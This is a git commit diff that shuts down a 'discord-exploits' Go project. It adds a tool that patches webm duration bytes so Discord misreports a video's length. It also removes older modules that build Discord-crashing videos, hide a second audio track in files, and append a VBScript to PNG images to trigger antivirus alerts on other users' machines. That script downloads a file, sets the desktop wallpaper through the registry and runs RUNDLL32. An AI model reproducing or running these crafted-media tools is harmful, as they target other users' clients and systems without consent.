Kill Project

This commit is contained in:
schmenn 2021-08-27 16:15:28 +02:00
parent 7535d433b3
commit e748fc65b5
21 changed files with 166 additions and 549 deletions

View file

@ -1,3 +1,10 @@
# DISCLAIMER: THIS PROJECT IS DEAD
### not only do half of the features not work, but ever since SomeOrdinaryGamers made his [youtube video](https://youtu.be/smNuREXq5wc?t=524) where he quickly glances over this repository, a lot of his viewers joined the discord server asking a lot of unnecessary and stupid questions that could've easily been answered if they just took a look at this readme or if they just straight up ignored this repository. This repository is being archived and most likely deleted in the future as it does not serve a purpose other than attracting script kiddies at this point. I have pushed new code that only does the webm duration mods and is generally more well-written.
<br><br>
[![GitHub stars](https://img.shields.io/github/stars/Schmenn/discord-exploits?color=FFFFFF&label=stars&style=flat-square)](https://github.com/Schmenn/discord-exploits/stargazers)
![GitHub code size in bytes](https://img.shields.io/github/languages/code-size/Schmenn/discord-exploits?color=FFFFFF&style=flat-square)
![GitHub issues](https://img.shields.io/github/issues/Schmenn/discord-exploits?color=FFFFFF&style=flat-square)

125
discord-exploits.go Normal file
View file

@ -0,0 +1,125 @@
package main
import (
"bytes"
"flag"
"math/rand"
"os"
"path/filepath"
"strings"
"time"
"github.com/fatih/color"
"github.com/gabriel-vasile/mimetype"
)
var (
mode string
inputFile string
outputFile string
done = make(chan response, 1)
logRed = color.New(color.FgHiRed)
logGreen = color.New(color.FgHiGreen)
)
type response int
const (
responseWrongFileType response = iota
responseFileNotExist
responseUnknownError
responseDone
)
func init() {
flag.StringVar(&mode, "m", "", "mode you want to use")
flag.StringVar(&inputFile, "i", "", "input file")
flag.StringVar(&outputFile, "o", "", "output file, will be random if its not set")
flag.Parse()
flag.CommandLine.SetOutput(os.Stdout)
flag.Usage = func() {
_, file := filepath.Split(os.Args[0])
logRed.Fprintf(flag.CommandLine.Output(), "Usage of %s:\n", file)
flag.PrintDefaults()
}
if mode == "" {
flag.Usage()
os.Exit(0)
}
if inputFile == "" {
if flag.Arg(0) == "" {
flag.Usage()
os.Exit(0)
}
inputFile = flag.Arg(0)
}
if outputFile == "" {
outputFile = createName()
}
mimetype.SetLimit(2 >> 15)
}
func main() {
switch strings.ToLower(mode) {
case "z", "0", "zero":
webm([]byte{0, 0, 0, 0, 0, 0, 0, 0})
case "n", "-", "negative":
webm([]byte{66, 255, 176, 96, 0, 0, 0, 0})
case "e", "+", "expanding":
webm([]byte{63, 240, 0, 0, 0, 0, 0, 0})
default:
logRed.Println("Wrong mode!")
}
switch <-done {
case responseWrongFileType:
logRed.Println("Wrong File Type")
case responseFileNotExist:
logRed.Println("File Not Found")
case responseDone:
logGreen.Printf("Done, saved to %s", outputFile)
}
time.Sleep(time.Second * 5)
}
func webm(change []byte) {
b, err := os.ReadFile(inputFile)
if err != nil {
logRed.Sprintln("File could not be opened")
done <- responseFileNotExist
return
}
mime := mimetype.Detect(b).String()
if mime != "video/webm" && mime != "video/x-matroska" {
done <- responseWrongFileType
}
index := bytes.Index(b, []byte("\x44\x89\x88"))
if index == -1 {
done <- responseUnknownError
return
}
if filepath.Ext(outputFile) == "" {
outputFile = outputFile + ".webm"
}
os.WriteFile(outputFile, bytes.Replace(b, b[index+3:index+10], change, 1), 0o777)
done <- responseDone
}
func createName() string {
charset := "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
b := make([]byte, 8)
rand.Seed(time.Now().UnixNano())
for i := range b {
b[i] = charset[rand.Intn(len(charset))]
}
return string(b)
}

View file

@ -1,201 +0,0 @@
package main
import (
"fmt"
"github.com/Schmenn/discord-exploits/exploits"
"github.com/Schmenn/discord-exploits/modules"
"os"
"strings"
"path/filepath"
)
var (
quiet bool = false
inputFile string = "no input file provided"
mode string = "no mode specified"
)
func main() {
args := os.Args[1:]
handleArgs(args, &quiet)
if !quiet {
modules.Welcome()
}
fmt.Println("input file: " + inputFile)
fmt.Println("mode: " + mode)
initCommand(inputFile, mode)
}
func handleArgs(args []string, quiet *bool) {
for i, s := range args {
switch s {
// Quiet
case "-q", "--quiet":
*quiet = true
// Input File
case "-i":
absPath, err := filepath.Abs(args[i+1])
if err != nil {
absPath = args[i+1]
}
inputFile = filepath.FromSlash(absPath)
// Mode Selection
case "-m":
mode = args[i+1]
// Help Message
case "-h":
modules.Help(os.Args[0])
*quiet = true
return
default:
break
}
}
}
func initCommand(inputFile string, mode string) {
if strings.HasSuffix(inputFile, ".webm") {
switch mode {
case "e":
fmt.Println("editing video.")
exploits.RunExpandingVideoTask(inputFile)
fmt.Println("completed task.")
case "n":
fmt.Println("editing video.")
exploits.RunNegativeVideoTask(inputFile)
fmt.Println("completed task.")
case "0", "z":
fmt.Println("editing video.")
exploits.RunZeroVideoTask(inputFile)
fmt.Println("completed task.")
case "c":
fmt.Println("transcoding video from webm to mp4")
out := modules.Transcode(inputFile, "mp4")
fmt.Println("finished transcoding video from webm to mp4")
fmt.Println("editing video.")
exploits.RunCrashVideoTask(out)
fmt.Println("completed task.")
os.Remove(out)
default:
fmt.Println("the mode doesn't match the file")
}
} else if strings.HasSuffix(inputFile, ".mp4") {
switch mode {
case "e":
fmt.Println("transcoding video from mp4 to webm")
out := modules.Transcode(inputFile, "webm")
fmt.Println("finished transcoding video from mp4 to webm")
fmt.Println("editing video.")
exploits.RunExpandingVideoTask(out)
fmt.Println("completed task.")
os.Remove(out)
case "n":
fmt.Println("transcoding video from mp4 to webm")
out := modules.Transcode(inputFile, "webm")
fmt.Println("finished transcoding video from mp4 to webm")
fmt.Println("editing video.")
exploits.RunNegativeVideoTask(out)
fmt.Println("completed task.")
os.Remove(out)
case "0", "z":
fmt.Println("transcoding video from mp4 to webm")
out := modules.Transcode(inputFile, "webm")
fmt.Println("finished transcoding video from mp4 to webm")
fmt.Println("editing video.")
exploits.RunZeroVideoTask(out)
fmt.Println("completed task.")
os.Remove(out)
case "c":
fmt.Println("editing video.")
exploits.RunCrashVideoTask(inputFile)
fmt.Println("completed task.")
default:
fmt.Println("the mode doesn't match the file")
}
} else if strings.HasSuffix(inputFile, ".png") {
fmt.Println("editing photo.")
exploits.RunVirusImageTask(inputFile)
fmt.Println("completed task.")
} else if strings.HasSuffix(inputFile, ".jpg") {
fmt.Println("transcoding image from jpg to png")
out := modules.Transcode(inputFile, "png")
fmt.Println("finished transcoding image from jpg to png")
fmt.Println("editing photo.")
exploits.RunVirusImageTask(out)
fmt.Println("completed task.")
os.Remove(out)
} else if strings.HasSuffix(inputFile, ".jpeg") {
if strings.ToLower(mode) != "v" || strings.ToLower(mode) == "no mode specified" {
fmt.Println("the mode is not compatible with the image, proceeding to run the virus image task anyway")
}
fmt.Println("transcoding image from jpeg to png")
out := modules.Transcode(inputFile, "png")
fmt.Println("finished transcoding image from jpeg to png")
fmt.Println("editing photo.")
exploits.RunVirusImageTask(out)
fmt.Println("completed task.")
os.Remove(out)
} else if strings.HasSuffix(inputFile, ".ogg") {
if strings.ToLower(mode) != "t" || strings.ToLower(mode) == "no mode specified" {
fmt.Println("the mode is not compatible with the audio file, proceeding to run the play-twice task anyway")
}
fmt.Println("editing audio.")
exploits.RunTwiceAudioTask(inputFile)
fmt.Println("completed task.")
} else if strings.HasSuffix(inputFile, ".mp3") {
if strings.ToLower(mode) != "t" || strings.ToLower(mode) == "no mode specified" {
fmt.Println("the mode is not compatible with the audio file, proceeding to run the play-twice task anyway")
}
fmt.Println("transcoding audio from mp3 to ogg")
out := modules.Transcode(inputFile, "ogg")
fmt.Println("finished transcoding audio from mp3 to ogg")
fmt.Println("editing audio.")
exploits.RunTwiceAudioTask(out)
fmt.Println("completed task.")
os.Remove(out)
} else if strings.HasSuffix(inputFile, ".m4a") {
if strings.ToLower(mode) != "t" || strings.ToLower(mode) == "no mode specified" {
fmt.Println("the mode is not compatible with the audio file, proceeding to run the play-twice task anyway")
}
fmt.Println("transcoding audio from m4a to ogg")
out := modules.Transcode(inputFile, "ogg")
fmt.Println("finished transcoding audio from m4a to ogg")
fmt.Println("editing audio.")
exploits.RunTwiceAudioTask(out)
fmt.Println("completed task.")
os.Remove(out)
} else if inputFile == "no input file provided" {
return
} else {
fmt.Println("incompatible input file")
}
}

View file

@ -1,34 +0,0 @@
package exploits
import (
_ "embed" // embed
"fmt"
"os"
"os/exec"
"github.com/Schmenn/discord-exploits/modules"
)
//go:embed crash.bin
var bin []byte
// RunCrashVideoTask takes the input file and makes a video from it that when played crashes discord
func RunCrashVideoTask(filename string) {
binname := modules.CreateName("bin")
outname := modules.CreateName("mp4")
txtname := modules.CreateName("txt")
err := os.WriteFile(txtname, []byte(`file '`+filename+`'`+"\n"+`file '`+binname+`'`), 0777)
modules.Check(err)
err = os.WriteFile(binname, bin, 0777)
modules.Check(err)
modules.CheckForFFmpeg()
cmd := exec.Command("ffmpeg", "-f", "concat", "-safe", "0", "-i", txtname, "-y", "-c", "copy", outname)
err = cmd.Run()
modules.Check(err)
err = os.Remove(binname)
modules.Check(err)
err = os.Remove(txtname)
modules.Check(err)
fmt.Println("Saved video to: " + outname)
}

Binary file not shown.

View file

@ -1,38 +0,0 @@
package exploits
import (
"bytes"
"fmt"
"github.com/Schmenn/discord-exploits/modules"
"os"
)
// RunExpandingVideoTask edits file so that it keeps expanding while it's getting played
func RunExpandingVideoTask(fileName string) {
data, err := os.ReadFile(fileName)
modules.Check(err)
index := bytes.Index(data, []byte("\x44\x89\x88"))
if index == -1 {
fmt.Println("could not find the part of the file that needs to be modified, exiting")
return
}
data[index+3] = 63
data[index+4] = 240
data[index+5] = 0
data[index+6] = 0
data[index+7] = 0
data[index+8] = 0
data[index+9] = 0
data[index+10] = 0
name := modules.CreateName("webm")
fmt.Println("Saved video to: " + name)
err = os.WriteFile(name, data, os.FileMode(0777))
if err != nil {
panic(err)
}
}

View file

@ -1,39 +0,0 @@
package exploits
import (
"bytes"
"fmt"
"github.com/Schmenn/discord-exploits/modules"
"os"
)
// RunNegativeVideoTask edits file so it has got a huge negative duration
func RunNegativeVideoTask(fileName string) {
data, err := os.ReadFile(fileName)
modules.Check(err)
index := bytes.Index(data, []byte("\x44\x89\x88"))
if index == -1 {
fmt.Println("could not find the part of the file that needs to be modified, exiting")
fmt.Println("are you sure the file is actually a webm?")
return
}
data[index+3] = 66
data[index+4] = 255
data[index+5] = 176
data[index+6] = 96
data[index+7] = 0
data[index+8] = 0
data[index+9] = 0
data[index+10] = 0
name := modules.CreateName("webm")
fmt.Println("Saved video to: " + name)
err = os.WriteFile(name, data, os.FileMode(0777))
if err != nil {
panic(err)
}
}

View file

@ -1,27 +0,0 @@
package exploits
import (
_ "embed" // embed
"fmt"
"github.com/Schmenn/discord-exploits/modules"
"os"
)
//go:embed twice.ogg
var twiceOgg []byte
// RunTwiceAudioTask edits audio file so it plays a different track when played again
func RunTwiceAudioTask(fileName string) {
data, err := os.ReadFile(fileName)
modules.Check(err)
twice := append(twiceOgg, data...)
name := modules.CreateName("ogg")
fmt.Println("Saved video to: " + name)
err = os.WriteFile(name, twice, os.FileMode(0777))
if err != nil {
panic(err)
}
}

Binary file not shown.

View file

@ -1,29 +0,0 @@
package exploits
import (
_ "embed" // embed
"fmt"
"github.com/Schmenn/discord-exploits/modules"
"os"
)
var (
//go:embed virus1.txt
vpng1 []byte
//go:embed virus2.txt
vpng2 []byte
vpng = append(vpng1, vpng2...)
)
// RunVirusImageTask edits file
func RunVirusImageTask(fileName string) {
data, err := os.ReadFile(fileName)
modules.Check(err)
data = append(data, vpng...)
name := modules.CreateName("png")
fmt.Println("Saved video to: " + name)
err = os.WriteFile(name, data, os.FileMode(0777))
if err != nil {
panic(err)
}
}

View file

@ -1,10 +0,0 @@
Set objShell = CreateObject("WScript.Shell")
Set objEnv = objShell.Environment("User")
strDirectory = objShell.ExpandEnvironmentStrings("%temp%")
dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", "https://cdn.discordapp.com/emojis/681577625394872370.png?v=1", False
xHttp.Send

View file

@ -1,9 +0,0 @@
with bStrm
.type = 1 '//binary
.open
.write xHttp.responseBody
.savetofile strDirectory + "\myImage.png", 2 '//overwrite
end with
objShell.RegWrite "HKCU\Control Panel\Desktop\Wallpaper", strDirectory + "\myImage.png"
objShell.Run "%windir%\System32\RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters", 1, True

View file

@ -1,39 +0,0 @@
package exploits
import (
"bytes"
"fmt"
"github.com/Schmenn/discord-exploits/modules"
"os"
)
// RunZeroVideoTask edits file so it has got a duration of 0
func RunZeroVideoTask(fileName string) {
data, err := os.ReadFile(fileName)
modules.Check(err)
index := bytes.Index(data, []byte("\x44\x89\x88"))
if index == -1 {
fmt.Println("could not find the part of the file that needs to be modified, exiting")
fmt.Println("are you sure the file is actually a webm?")
return
}
data[index+3] = 0
data[index+4] = 0
data[index+5] = 0
data[index+6] = 0
data[index+7] = 0
data[index+8] = 0
data[index+9] = 0
data[index+10] = 0
name := modules.CreateName("webm")
fmt.Println("Saved video to: "+name)
err = os.WriteFile(name, data, os.FileMode(0777))
if err != nil {
panic(err)
}
}

16
go.mod
View file

@ -1,3 +1,15 @@
module github.com/Schmenn/discord-exploits
module github.com/schmenn/discord-exploits
go 1.16
go 1.17
require (
github.com/fatih/color v1.12.0
github.com/gabriel-vasile/mimetype v1.3.1
)
require (
github.com/mattn/go-colorable v0.1.8 // indirect
github.com/mattn/go-isatty v0.0.13 // indirect
golang.org/x/net v0.0.0-20210505024714-0287a6fb4125 // indirect
golang.org/x/sys v0.0.0-20210423082822-04245dca01da // indirect
)

20
go.sum Normal file
View file

@ -0,0 +1,20 @@
github.com/fatih/color v1.12.0 h1:mRhaKNwANqRgUBGKmnI5ZxEk7QXmjQeCcuYFMX2bfcc=
github.com/fatih/color v1.12.0/go.mod h1:ELkj/draVOlAH/xkhN6mQ50Qd0MPOk5AAr3maGEBuJM=
github.com/gabriel-vasile/mimetype v1.3.1 h1:qevA6c2MtE1RorlScnixeG0VA1H4xrXyhyX3oWBynNQ=
github.com/gabriel-vasile/mimetype v1.3.1/go.mod h1:fA8fi6KUiG7MgQQ+mEWotXoEOvmxRtOJlERCzSmRvr8=
github.com/mattn/go-colorable v0.1.8 h1:c1ghPdyEDarC70ftn0y+A/Ee++9zz8ljHG1b13eJ0s8=
github.com/mattn/go-colorable v0.1.8/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc=
github.com/mattn/go-isatty v0.0.12 h1:wuysRhFDzyxgEmMf5xjvJ2M9dZoWAXNNr5LSBS7uHXY=
github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU=
github.com/mattn/go-isatty v0.0.13 h1:qdl+GuBjcsKKDco5BsxPJlId98mSWNKqYA+Co0SC1yA=
github.com/mattn/go-isatty v0.0.13/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU=
golang.org/x/net v0.0.0-20210505024714-0287a6fb4125 h1:Ugb8sMTWuWRC3+sz5WeN/4kejDx9BvIwnPUiJBjJE+8=
golang.org/x/net v0.0.0-20210505024714-0287a6fb4125/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
golang.org/x/sys v0.0.0-20200116001909-b77594299b42/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20200223170610-d5e6a3e2c0ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210423082822-04245dca01da h1:b3NXsE2LusjYGGjL5bxEVZZORm/YEFFrWFjR8eFrw/c=
golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=

View file

@ -1,8 +0,0 @@
package modules
// Check Error Handling
func Check(e error) {
if e != nil {
panic(e)
}
}

View file

@ -1,18 +0,0 @@
package modules
import (
"fmt"
"os"
"os/exec"
)
// CheckForFFmpeg looks for ffmpeg in the path
func CheckForFFmpeg() (string) {
path, err := exec.LookPath("ffmpeg")
if err != nil {
fmt.Println("Could not find FFmpeg, maybe you don't have it installed or on your PATH")
os.Exit(1)
}
return path
}

View file

@ -1,30 +0,0 @@
package modules
import (
"fmt"
)
//Help program usage
func Help(progName string) {
fmt.Println("Discord-Exploits Help")
fmt.Println(" Usage: " + progName + " -i <input file> -m <mode> [-q]")
fmt.Println("")
fmt.Println("--quiet -q don't show welcome screen")
fmt.Println("-i <file> provide input file")
fmt.Println("-m <mode> specify mode")
fmt.Println("")
fmt.Println("modes:")
fmt.Println(" video:")
fmt.Println(" e takes input video (.webm or .mp4) and edits it so discord will keep making it longer")
fmt.Println(" n takes input video (.webm or .mp4) and edits it so discord will think it has got a huge negative duration")
fmt.Println(" z, 0 takes input video (.webm or .mp4) and edits it so discord will think it has got a 0s duration")
fmt.Println(" c takes input video (.webm or .mp4) and edits it so discord will crash when you play it to the end (only works on some PCs)")
fmt.Println(" image:")
fmt.Println(" v takes an image (.png, .jpg or .jpeg) and makes other users' windows defender think it's a virus")
fmt.Println(" audio:")
fmt.Println(" t takes an audio file (.ogg, .m4a or .mp3) and edits it so discord will play a second audio track when you replay it.")
fmt.Println("")
fmt.Println("the following file formats require ffmpeg: .mp4, .jpg, .jpeg, .ogg, .m4a and .mp3")
fmt.Println("")
}

View file

@ -1,17 +0,0 @@
package modules
import (
"math/rand"
"time"
)
// CreateName generates a random file name
func CreateName(extension string) string {
charset := "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
b := make([]byte, 8)
rand.Seed(time.Now().UnixNano())
for i := range b {
b[i] = charset[rand.Intn(len(charset))]
}
return string(b) + "." + extension
}

View file

@ -1,30 +0,0 @@
package modules
import (
"fmt"
"os/exec"
"strings"
)
//Transcode transcodes videos and images
func Transcode(input string, to string) string {
path := CheckForFFmpeg()
output := CreateName(to)
if strings.HasSuffix(input, ".ogg") || strings.HasSuffix(input, ".mp3") || strings.HasSuffix(input, ".m4a") {
_, err := exec.Command(path, "-i", input, "-ar", "44100", "-y", "-c:a", "libvorbis", output).CombinedOutput()
Check(err)
fmt.Println("temporarily saving transcoded file to " + output)
return output
}
_, err := exec.Command(path, "-i", input, output).CombinedOutput()
Check(err)
fmt.Println("temporarily saving transcoded file to " + output)
return output
}

View file

@ -1,18 +0,0 @@
package modules
import (
"fmt"
)
//Welcome greets the user on startup
func Welcome() {
fmt.Println("Discord Exploits --- made by Schmenn")
fmt.Println(" _ _ _")
fmt.Println(" | | (_) |")
fmt.Println(" _____ ___ __ | | ___ _| |_ ___")
fmt.Println(" / _ \\ \\/ / '_ \\| |/ _ \\| | __/ __|")
fmt.Println(" | __/> <| |_) | | (_) | | |_\\__ \\")
fmt.Println(" \\___/_/\\_\\ .__/|_|\\___/|_|\\__|___/")
fmt.Println(" | |")
fmt.Println(" |_|")
}